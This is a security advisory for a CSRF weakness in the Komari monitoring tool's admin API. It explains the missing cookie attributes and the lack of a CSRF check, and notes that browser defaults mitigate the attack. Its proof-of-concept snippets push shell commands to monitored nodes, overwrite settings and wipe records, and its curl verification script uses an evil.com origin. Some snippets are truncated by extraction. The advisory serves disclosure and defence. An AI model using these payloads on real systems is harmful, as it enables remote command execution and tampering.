GHSA-hxjg-93wc-h8p8 Komari: Management Interface CSRF

• Go github.com/komari-monitor/komari: < 0.0.0-20260609084633-98122fa4d110 → fixed in 0.0.0-20260609084633-98122fa4d110

Vulnerability Overview The `session_token` cookie is set without the `SameSite` or `Secure` attributes (`login.go:68`). All `/api/admin/` management endpoints rely solely on this cookie for authentication, with no CSRF token or Origin validation. The server-side vulnerability is confirmed to exist; however, exploitation via cross-site requests is mitigated in modern browsers by the default `SameSite=Lax` behavior. Root Cause ```go // komari-main/api/public/login.go:68 c.SetCookie("session_token", session, 2592000, "/", "", false, true) // Secure=false, SameSite not explicitly set // Admin route group (server.go:213-343) has no CSRF middleware ``` Gin's `ShouldBindJSON` does not strictly validate the `Content-Type` header, allowing `text/plain` requests to bypass CORS preflight. Browser Limitations • Chrome 80+ (Feb 2020), Firefox 103+ (Jul 2022), and Safari all default unspecified cookies to `SameSite=Lax`. • Cookies without an explicit `SameSite` attribute are not included in cross-site POST requests. • As a result, the server receives requests without the session cookie and returns HTTP 401 Unauthorized. | Scenario | Exploitable | |----------|-------------| | Cross-site HTML (modern browsers) | ✗ Blocked by `SameSite=Lax` | | Cross-site HTML (Chrome Loading... document.getElementById('f').submit(); ``` PoC 2 — Remote Command Execution ```html Loading... var KOMARI = "https://komari.example.com"; var CMD = "id && hostname && whoami"; fetch(KOMARI + "/api/admin/client/list", { credentials: "include" }) .then(function(r){ return r.json(); }) .then(function(data){ var nodes = data.data || []; var uuids = []; for (var i = 0; i ``` PoC 3 — Modify System Configuration ```html Loading... var KOMARI = "https://komari.example.com"; fetch(KOMARI + "/api/admin/settings/", { method: "POST", credentials: "include", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ "site_name": "Pwned", "custom_head": "" }) }); ``` PoC 4 — Clear All Monitoring Records ```html Loading... document.getElementById('f').submit(); ``` Verification Script ```bash !/bin/bash KOMARI="${1:-https://komari.example.com}" echo "=== CSRF Verification ===" echo "[1] Cookie Attributes..." curl -s -D - -o /dev/null \ -X POST "$KOMARI/api/public/login" \ -H "Content-Type: application/json" \ -d '{"username":"test","password":"test"}' | grep -i 'set-cookie' echo "" echo "[2] CORS Headers..." curl -s -D - -o /dev/null \ -H "Origin: https://evil.com" \ "$KOMARI/api/public/config" | grep -i 'access-control' echo "" echo "[3] CSRF Protection on Admin Endpoint..." CODE=$(curl -s -o /dev/null -w "%{http_code}" \ -X POST "$KOMARI/api/admin/settings/" \ -H "Content-Type: application/json" \ -H "Origin: https://evil.com" \ -d '{}') echo " HTTP ${CODE} — A 401 response indicates that only session authentication is enforced and no CSRF protection is present." ```